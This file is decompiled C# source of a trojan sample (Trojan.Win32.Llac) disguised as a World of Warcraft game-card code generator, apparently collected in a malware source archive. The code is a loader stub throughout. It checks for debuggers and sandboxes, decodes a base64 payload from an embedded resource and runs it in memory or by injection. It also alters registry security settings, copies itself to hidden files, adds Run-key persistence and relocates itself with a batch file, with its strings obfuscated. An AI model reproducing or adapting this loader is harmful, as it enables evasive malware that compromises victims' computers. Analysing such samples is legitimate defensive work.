MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.lgnr-045e91a28a9a83e302813bf2c8cafb4d85c7cff6b8293383e46ed7ec7f2423bf/_0002.cs

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WoW Gametimecard-Code Generator, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F6EFF043-3343-4D98-A648-6582746BA4AA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.lgnr-045e91a28a9a83e302813bf2c8cafb4d85c7cff6b8293383e46ed7ec7f2423bf.exe

using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Windows.Forms;

internal sealed class \u0002
{
  private static \u0003 \u0002 = new \u0003();
  private static string \u0003 = \u0008.\u0002(583184255);
  private static string \u0005 = \u0008.\u0002(583184255);
  private static byte[] \u0008 = new byte[7]
  {
    (byte) 98,
    (byte) 87,
    (byte) 76,
    (byte) 65,
    (byte) 54,
    (byte) 43,
    (byte) 32
  };
  private static byte[] \u0006;
  private static bool \u000E = true;
  private static bool \u000F = true;
  private static bool \u0002\u2000 = true;
  private static bool \u0003\u2000 = true;
  private static bool \u0005\u2000 = true;
  private static bool \u0008\u2000 = true;
  private static bool \u0006\u2000 = true;
  private static bool \u000E\u2000 = true;
  private static bool \u000F\u2000 = true;
  private static bool \u0002\u2001 = true;
  private static bool \u0003\u2001 = true;
  private static bool \u0005\u2001 = true;
  private static bool \u0008\u2001 = true;
  private static bool \u0006\u2001 = true;
  private static bool \u000E\u2001 = true;
  private static bool \u000F\u2001 = false;
  private static string \u0002\u2002 = \u0008.\u0002(583184214);
  private static string \u0003\u2002 = \u0008.\u0002(583184186);
  private static bool \u0005\u2002 = true;
  private static bool \u0008\u2002 = true;
  private static bool \u0006\u2002 = true;
  private static bool \u000E\u2002 = false;
  private static bool \u000F\u2002 = false;
  private static bool \u0002\u2003 = true;
  private static string \u0003\u2003 = \u0008.\u0002(583184160);
  private static bool \u0005\u2003 = false;
  private static bool \u0008\u2003 = false;
  private static int \u0006\u2003 = 0;
  private static ThreadStart \u000E\u2003;

  private static bool \u0002(string _param0) => Process.GetProcessesByName(_param0).Length > 0;

  private static void \u0002(string _param0, string _param1)
  {
    int num = (int) MessageBox.Show(_param0, _param1, MessageBoxButtons.OK, MessageBoxIcon.Hand);
  }

  private static void \u0002() => Console.Write(\u0008.\u0002(583183482));

  private static void \u0002(string[] _param0)
  {
    if (!(\u0002.\u0003 == \u0002.\u0005))
      return;
    \u0002.\u0002();
    if (\u0002.\u000F\u2001)
    {
      try
      {
        if (\u0002.\u000E\u2003 == null)
          \u0002.\u000E\u2003 = new ThreadStart(\u0002.\u0005);
        new Thread(\u0002.\u000E\u2003).Start();
      }
      catch
      {
      }
    }
    \u0002.\u0002();
    if (\u0002.\u000E)
    {
      try
      {
        if (Debugger.IsAttached)
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u000F)
    {
      try
      {
        long ticks = DateTime.Now.Ticks;
        Thread.Sleep(10);
        if (DateTime.Now.Ticks - ticks < 10L)
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0002\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(583183469)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0003\u2000)
    {
      try
      {
        Form form = new Form();
        form.Text = \u0008.\u0002(583183455);
        form.Opacity = 0.0;
        form.ShowInTaskbar = false;
        form.Show();
        if (form.Text == \u0008.\u0002(583183442))
          return;
        form.Close();
      }
      catch
      {
      }
    }
    if (\u0002.\u0005\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(583183425)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0008\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(583183411)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0006\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(583183397)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u000E\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(583183382)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u000F\u2000)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(583183373)))
          return;
      }
      catch
      {
      }
    }
    if (\u0002.\u0002\u2001)
    {
      try
      {
        if (\u0002.\u0002(\u0008.\u0002(583183614)))
          return;
      }
      catch
      {
      }
    }
    \u0002.\u0002();
    if (\u0002.\u0008\u2003)
    {
      try
      {
        Thread.Sleep(\u0002.\u0006\u2003 * 1000);
      }
      catch
      {
      }
    }
    \u0002.\u0002();
    try
    {
      Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\u0008.\u0002(583183600));
      \u0002.\u0002();
      StreamReader streamReader = new StreamReader(manifestResourceStream);
      string end = streamReader.ReadToEnd();
      \u0002.\u0002();
      streamReader.Close();
      \u0002.\u0006 = Convert.FromBase64String(end);
      try
      {
        \u0002.\u0002();
        Thread thread = new Thread(new ThreadStart(\u0002.\u0003));
        \u0002.\u0002();
        thread.Start();
        \u0002.\u0002();
      }
      catch
      {
      }
    }
    catch
    {
    }
    \u0002.\u0002();
    if (\u0002.\u0005\u2002)
    {
      try
      {
        Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183591), true).SetValue(\u0008.\u0002(583183525), (object) \u0008.\u0002(583183501), RegistryValueKind.DWord);
      }
      catch
      {
      }
      try
      {
        if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183493)) == null)
        {
          Registry.CurrentUser.CreateSubKey(\u0008.\u0002(583183493));
          Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183493), true).SetValue(\u0008.\u0002(583183685), (object) \u0008.\u0002(583183501), RegistryValueKind.DWord);
        }
        else
          Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183493), true).SetValue(\u0008.\u0002(583183685), (object) \u0008.\u0002(583183501), RegistryValueKind.DWord);
        Registry.LocalMachine.OpenSubKey(\u0008.\u0002(583183493), true).SetValue(\u0008.\u0002(583183685), (object) \u0008.\u0002(583183501), RegistryValueKind.DWord);
      }
      catch
      {
      }
      if (\u0002.\u0008\u2002)
      {
        if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183669)) == null)
        {
          Registry.CurrentUser.CreateSubKey(\u0008.\u0002(583183669));
          Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183669), true).SetValue(\u0008.\u0002(583183618), (object) \u0008.\u0002(583183859), RegistryValueKind.DWord);
        }
        else
          Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183669), true).SetValue(\u0008.\u0002(583183618), (object) \u0008.\u0002(583183859), RegistryValueKind.DWord);
      }
      if (\u0002.\u0006\u2002)
      {
        try
        {
          new Process()
          {
            StartInfo = {
              FileName = \u0008.\u0002(583183851),
              Arguments = \u0008.\u0002(583183839),
              UseShellExecute = false,
              CreateNoWindow = true
            }
          }.Start();
        }
        catch
        {
        }
      }
      if (\u0002.\u000E\u2002)
      {
        try
        {
          if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183493)) == null)
          {
            Registry.CurrentUser.CreateSubKey(\u0008.\u0002(583183493));
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183493), true).SetValue(\u0008.\u0002(583183790), (object) \u0008.\u0002(583183765), RegistryValueKind.DWord);
          }
          else
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183493), true).SetValue(\u0008.\u0002(583183790), (object) \u0008.\u0002(583183765), RegistryValueKind.DWord);
        }
        catch
        {
        }
      }
      if (\u0002.\u000F\u2002)
      {
        try
        {
          if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183493)) == null)
          {
            Registry.CurrentUser.CreateSubKey(\u0008.\u0002(583183493));
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183493), true).SetValue(\u0008.\u0002(583183757), (object) \u0008.\u0002(583183765), RegistryValueKind.DWord);
          }
          else
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183493), true).SetValue(\u0008.\u0002(583183757), (object) \u0008.\u0002(583183765), RegistryValueKind.DWord);
        }
        catch
        {
        }
      }
    }
    \u0002.\u0002();
    if (\u0002.\u0002\u2003)
    {
      try
      {
        Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183591), true).SetValue(\u0008.\u0002(583183990), (object) \u0008.\u0002(583183859), RegistryValueKind.DWord);
      }
      catch
      {
      }
      try
      {
        FileStream fileStream1 = new FileStream(Process.GetCurrentProcess().MainModule.FileName, FileMode.Open, FileAccess.Read);
        byte[] buffer = new byte[fileStream1.Length];
        fileStream1.Read(buffer, 0, buffer.Length);
        fileStream1.Close();
        FileStream fileStream2 = new FileStream(Environment.GetEnvironmentVariable(\u0008.\u0002(583183979)) + \u0008.\u0002(583183966) + \u0002.\u0003\u2003, FileMode.Create);
        fileStream2.Write(buffer, 0, buffer.Length);
        fileStream2.Close();
        fileStream2.Dispose();
        FileStream fileStream3 = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0008.\u0002(583183966) + \u0002.\u0003\u2003, FileMode.Create);
        fileStream3.Write(buffer, 0, buffer.Length);
        fileStream3.Close();
        fileStream3.Dispose();
        File.SetAttributes(Environment.GetEnvironmentVariable(\u0008.\u0002(583183979)) + \u0008.\u0002(583183966) + \u0002.\u0003\u2003, FileAttributes.Hidden);
        File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0008.\u0002(583183966) + \u0002.\u0003\u2003, FileAttributes.Hidden);
      }
      catch
      {
      }
      try
      {
        Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183958), true).SetValue(\u0008.\u0002(583183906), (object) (Environment.GetEnvironmentVariable(\u0008.\u0002(583183979)) + \u0008.\u0002(583183966) + \u0002.\u0003\u2003));
        Registry.LocalMachine.OpenSubKey(\u0008.\u0002(583183958), true).SetValue(\u0008.\u0002(583183906), (object) (Environment.GetEnvironmentVariable(\u0008.\u0002(583183979)) + \u0008.\u0002(583183966) + \u0002.\u0003\u2003));
      }
      catch
      {
      }
      if (\u0002.\u0005\u2002)
      {
        try
        {
          if (Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183884)) == null)
          {
            Registry.CurrentUser.CreateSubKey(\u0008.\u0002(583183884));
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183884), true).SetValue(\u0008.\u0002(583183906), (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0008.\u0002(583183966) + \u0002.\u0003\u2003));
          }
          else
            Registry.CurrentUser.OpenSubKey(\u0008.\u0002(583183884), true).SetValue(\u0008.\u0002(583183906), (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0008.\u0002(583183966) + \u0002.\u0003\u2003));
        }
        catch
        {
        }
      }
    }
    \u0002.\u0002();
    if (!\u0002.\u0005\u2003)
      return;
    try
    {
      if (Application.ExecutablePath.Contains(Environment.GetEnvironmentVariable(\u0008.\u0002(583183979))))
        return;
      string str = \u0008.\u0002(583184070) + (object) '"' + Environment.GetCommandLineArgs()[0] + (object) '"' + \u0008.\u0002(583184053) + (object) '"' + Path.GetFileName(Application.ExecutablePath) + (object) '"' + \u0008.\u0002(583184034);
      TextWriter textWriter = (TextWriter) new StreamWriter(Environment.GetEnvironmentVariable(\u0008.\u0002(583183979)) + \u0008.\u0002(583184017));
      textWriter.WriteLine(str);
      textWriter.Close();
      new Process()
      {
        StartInfo = {
          FileName = (Environment.GetEnvironmentVariable(\u0008.\u0002(583183979)) + \u0008.\u0002(583184017)),
          UseShellExecute = false,
          CreateNoWindow = true
        }
      }.Start();
    }
    catch
    {
    }
  }

  public static void \u0003()
  {
    try
    {
      \u0002.\u0002();
      Assembly assembly = Assembly.Load(\u0002.\u0006);
      MethodInfo entryPoint = assembly.EntryPoint;
      \u0002.\u0002();
      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name)), new object[1]
      {
        (object) new string[0]
      });
    }
    catch
    {
      try
      {
        \u0002.\u0002();
        Assembly assembly = Assembly.Load(\u0002.\u0006);
        MethodInfo entryPoint = assembly.EntryPoint;
        \u0002.\u0002();
        entryPoint.Invoke(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name)), new object[0]);
      }
      catch
      {
        try
        {
          \u0002.\u0002();
          MethodInfo entryPoint = Assembly.Load(\u0002.\u0006).EntryPoint;
          \u0002.\u0002();
          entryPoint.Invoke((object) null, (object[]) null);
        }
        catch
        {
          try
          {
            \u0002.\u0002();
            \u0002.\u0002.\u0002(\u0002.\u0006, string.Empty, Application.ExecutablePath);
            \u0002.\u0002();
          }
          catch
          {
          }
        }
      }
    }
  }

  private static void \u0005() => \u0002.\u0002(\u0002.\u0002\u2002, \u0002.\u0003\u2002);
}